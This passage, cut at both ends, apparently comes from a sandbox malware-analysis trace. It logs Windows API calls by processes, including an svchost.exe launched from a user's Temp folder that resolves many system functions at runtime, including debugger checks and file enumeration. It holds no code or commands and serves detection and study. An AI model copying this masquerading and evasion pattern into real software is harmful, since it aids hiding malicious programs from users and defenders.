wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.054] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.055] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] GetLocalTime (in: lpSystemTime=0x19fef4 | out: lpSystemTime=0x19fef4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1c, wSecond=0x28, wMilliseconds=0x369)) [0137.056] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.057] VirtualFree (lpAddress=0x24b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.058] FreeLibrary (hLibModule=0x77750000) returned 1 [0137.058] LocalFree (hMem=0xa21230) returned 0x0 [0137.058] FreeLibrary (hLibModule=0x74310000) returned 1 [0137.058] LocalFree (hMem=0xa21270) returned 0x0 [0137.058] FreeLibrary (hLibModule=0x73ff0000) returned 1 [0137.060] LocalFree (hMem=0xa129e0) returned 0x0 [0137.060] FreeLibrary (hLibModule=0x772d0000) returned 1 [0137.060] LocalFree (hMem=0xa12990) returned 0x0 [0137.060] FreeLibrary (hLibModule=0x772d0000) returned 1 [0137.060] LocalFree (hMem=0xa12a30) returned 0x0 [0137.060] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x10b4 Thread: id = 3 os_tid = 0x1168 Thread: id = 4 os_tid = 0x131c Thread: id = 5 os_tid = 0x100c Thread: id = 6 os_tid = 0x4fc Thread: id = 7 os_tid = 0x4e8 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4c27d000" os_pid = "0x5b0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f8bc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 8 os_tid = 0x1150 Thread: id = 9 os_tid = 0x9bc Thread: id = 10 os_tid = 0x7ec Thread: id = 11 os_tid = 0x770 Thread: id = 12 os_tid = 0x7d8 Thread: id = 13 os_tid = 0x698 Thread: id = 14 os_tid = 0x690 Thread: id = 15 os_tid = 0x5fc Thread: id = 16 os_tid = 0x5f8 Thread: id = 17 os_tid = 0x5f4 Thread: id = 18 os_tid = 0x5b4 Thread: id = 19 os_tid = 0xd24 Process: id = "3" image_name = "svchost.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\temp\\svchost.exe" page_root = "0x17907000" os_pid = "0xac0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x110c" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0xab4 [0141.541] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x772d0000 [0141.541] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualProtect") returned 0x772e6a30 [0141.541] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x2) returned 1 [0141.542] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x4) returned 1 [0141.542] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0141.542] GetProcAddress (hModule=0x772d0000, lpProcName="SetFileAttributesW") returned 0x7733f100 [0141.542] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileType") returned 0x7733ef60 [0141.542] GetProcAddress (hModule=0x772d0000, lpProcName="QueryDosDeviceW") returned 0x7733f080 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="GetACP") returned 0x772e4ca0 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="CloseHandle") returned 0x7733eab0 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="LocalFree") returned 0x772e5b40 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemDefaultLangID") returned 0x772e53d0 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualProtect") returned 0x772e6a30 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceFrequency") returned 0x772e5dc0 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930 [0141.543] GetProcAddress (hModule=0x772d0000, lpProcName="FindNextFileW") returned 0x7733ee40 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="GetFullPathNameW") returned 0x7733efa0 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualFree") returned 0x772e69d0 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="ExitProcess") returned 0x772e3cb0 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="HeapAlloc") returned 0x779b2dc0 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="GetCPInfoExW") returned 0x772e4d30 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemTime") returned 0x772e54e0 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="RtlUnwind") returned 0x772e7c10 [0141.544] GetProcAddress (hModule=0x772d0000, lpProcName="GetCPInfo") returned 0x772e4d10 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="EnumSystemLocalesW") returned 0x772e49c0 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="GetStdHandle") returned 0x772e5330 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="FileTimeToLocalFileTime") returned 0x7733ed60 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleHandleW") returned 0x772e50d0 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="FreeLibrary") returned 0x772e4c40 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="TryEnterCriticalSection") returned 0x779caae0 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="HeapDestroy") returned 0x772e57d0 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="FileTimeToDosDateTime") returned 0x77321eb0 [0141.545] GetProcAddress (hModule=0x772d0000, lpProcName="ReadFile") returned 0x7733f090 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="HeapSize") returned 0x779ca790 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="GetLastError") returned 0x772e5010 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleFileNameW") returned 0x772e5090 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="SetLastError") returned 0x772e4f00 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="CreateThread") returned 0x772e46b0 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="CompareStringW") returned 0x772e4430 [0141.546] GetProcAddress (hModule=0x772d0000, lpProcName="MapViewOfFile") returned 0x772e5be0 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="CreateMutexW") returned 0x7733eb70 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryA") returned 0x772e5a80 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="ResetEvent") returned 0x7733ec40 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="GetVolumeInformationW") returned 0x7733f020 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="GetDriveTypeW") returned 0x7733eed0 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersion") returned 0x772e56c0 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="RaiseException") returned 0x772e5e20 [0141.547] GetProcAddress (hModule=0x772d0000, lpProcName="MoveFileW") returned 0x7731e500 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="FormatMessageW") returned 0x772e4be0 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcess") returned 0x772e5cc0 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="SwitchToThread") returned 0x772e6790 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="GetExitCodeThread") returned 0x772e4ff0 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentThread") returned 0x772e8810 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileAttributesExW") returned 0x7733ef00 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryExW") returned 0x772e5ac0 [0141.548] GetProcAddress (hModule=0x772d0000, lpProcName="TerminateProcess") returned 0x772e67e0 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentThreadId") returned 0x772e8820 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="UnhandledExceptionFilter") returned 0x772e68d0 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualQuery") returned 0x772e6a70 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualQueryEx") returned 0x772e6a90 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="Sleep") returned 0x772e6760 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="EnterCriticalSection") returned 0x779bb2d0 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="SetFilePointer") returned 0x7733f120 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="SuspendThread") returned 0x772e6770 [0141.549] GetProcAddress (hModule=0x772d0000, lpProcName="GetTickCount") returned 0x7733dd50 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSize") returned 0x7733ef30 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="GetStartupInfoW") returned 0x772e5320 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileAttributesW") returned 0x7733ef10 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeCriticalSection") returned 0x779caf20 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="VerLanguageNameW") returned 0x772e6950 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadPriority") returned 0x772e5610 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="GetCurrentProcess") returned 0x7733ea10 [0141.550] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadPriority") returned 0x772e66c0 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAlloc") returned 0x772e6970 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="GetCommandLineW") returned 0x772e4cc0 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemInfo") returned 0x772e54d0 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="GetTempPathW") returned 0x7733eff0 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="LeaveCriticalSection") returned 0x779bb250 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcAddress") returned 0x772e51b0 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="ResumeThread") returned 0x772e6380 [0141.551] GetProcAddress (hModule=0x772d0000, lpProcName="GetLogicalDriveStringsW") returned 0x7733efb0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="GetVersionExW") returned 0x772e56f0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="VerifyVersionInfoW") returned 0x773226c0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="HeapCreate") returned 0x772e57b0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="GetDiskFreeSpaceW") returned 0x7733eeb0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="VerSetConditionMask") returned 0x779d48b0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="FindFirstFileW") returned 0x7733edf0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="GetUserDefaultUILanguage") returned 0x772e56b0 [0141.552] GetProcAddress (hModule=0x772d0000, lpProcName="GetConsoleOutputCP") returned 0x7733f460 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="UnmapViewOfFile") returned 0x772e68f0 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="GetConsoleCP") returned 0x7733f440 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="lstrlenW") returned 0x772e6c70 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="SetEndOfFile") returned 0x7733f0e0 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="QueryPerformanceCounter") returned 0x772e5da0 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="HeapFree") returned 0x772e57f0 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="WideCharToMultiByte") returned 0x772e6b10 [0141.553] GetProcAddress (hModule=0x772d0000, lpProcName="FindClose") returned 0x7733ed70 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="MultiByteToWideChar") returned 0x772e5c40 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryW") returned 0x772e5ae0 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="SetEvent") returned 0x7733ec50 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="GetLocaleInfoW") returned 0x772e5040 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileW") returned 0x7733ed10 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteFileW") returned 0x7733ed40 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="IsDBCSLeadByteEx") returned 0x772e5910 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="FreeConsole") returned 0x7733f570 [0141.554] GetProcAddress (hModule=0x772d0000, lpProcName="GetEnvironmentVariableW") returned 0x772e4fb0 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="GetLocalTime") returned 0x772e5060 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="GetConsoleWindow") returned 0x77329b20 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="WaitForSingleObject") returned 0x7733eca0 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="WriteFile") returned 0x7733f180 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileMappingW") returned 0x772e44b0 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="ExitThread") returned 0x779d6390 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="DeleteCriticalSection") returned 0x7799fb90 [0141.555] GetProcAddress (hModule=0x772d0000, lpProcName="GetDateFormatW") returned 0x772e7740 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="TlsGetValue") returned 0x772e6850 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="SetErrorMode") returned 0x772e6500 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="IsValidLocale") returned 0x772e5a00 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="TlsSetValue") returned 0x772e6870 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="GetSystemDefaultUILanguage") returned 0x772e53f0 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="EnumCalendarInfoW") returned 0x772e4800 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="LocalAlloc") returned 0x772e5b20 [0141.556] GetProcAddress (hModule=0x772d0000, lpProcName="RemoveDirectoryW") returned 0x7733f0d0 [0141.557] GetProcAddress (hModule=0x772d0000, lpProcName="CreateEventW") returned 0x7733eb30 [0141.557] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadLocale") returned 0x772e6fc0 [0141.557] GetProcAddress (hModule=0x772d0000, lpProcName="GetThreadLocale") returned 0x772e5600 [0141.557] GetModuleHandleA (lpModuleName="shell32.dll") returned 0x75760000 [0141.557] GetProcAddress (hModule=0x75760000, lpProcName="SHGetSpecialFolderPathW") returned 0x758c12f0 [0141.557] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteW") returned 0x758c42e0 [0141.557] GetModuleHandleA (lpModuleName="version.dll") returned 0x742d0000 [0141.557] GetProcAddress (hModule=0x742d0000, lpProcName="GetFileVersionInfoSizeW") returned 0x742d1570 [0141.558] GetProcAddress (hModule=0x742d0000, lpProcName="VerQueryValueW") returned 0x742d1510 [0141.558] GetProcAddress (hModule=0x742d0000, lpProcName="GetFileVersionInfoW") returned 0x742d1590 [0141.558] GetModuleHandleA (lpModuleName="user32.dll") returned 0x750c0000 [0141.558] GetProcAddress (hModule=0x750c0000, lpProcName="CharUpperBuffW") returned 0x75137670 [0141.558] GetProcAddress (hModule=0x750c0000, lpProcName="CharNextW") returned 0x750f1130 [0141.558] GetProcAddress (hModule=0x750c0000, lpProcName="MsgWaitForMultipleObjects") returned 0x750eeca0 [0141.558] GetProcAddress (hModule=0x750c0000, lpProcName="ShowWindow") returned 0x750f3ee0 [0141.558] GetProcAddress (hModule=0x750c0000, lpProcName="CharLowerBuffW") returned 0x750e34a0 [0141.559] GetProcAddress (hModule=0x750c0000, lpProcName="LoadStringW") returned 0x750f0480 [0141.559] GetProcAddress (hModule=0x750c0000, lpProcName="CharUpperW") returned 0x750f0f70 [0141.559] GetProcAddress (hModule=0x750c0000, lpProcName="PeekMessageW") returned 0x750ed180 [0141.559] GetProcAddress (hModule=0x750c0000, lpProcName="GetSystemMetrics") returned 0x750eddc0 [0141.559] GetProcAddress (hModule=0x750c0000, lpProcName="MessageBoxW") returned 0x7512db70 [0141.559] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x77440000 [0141.559] GetProcAddress (hModule=0x77440000, lpProcName="SysAllocStringLen") returned 0x7745b7e0 [0141.559] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayPtrOfIndex") returned 0x77466670 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="VariantCopy") returned 0x77479dc0 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayGetLBound") returned 0x77465ea0 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayGetUBound") returned 0x77465460 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="VariantInit") returned 0x77479de0 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="VariantClear") returned 0x77479db0 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="SysFreeString") returned 0x7745b920 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="SysReAllocStringLen") returned 0x77461500 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="VariantChangeType") returned 0x7745a5e0 [0141.560] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayCreate") returned 0x77460340 [0141.561] GetModuleHandleA 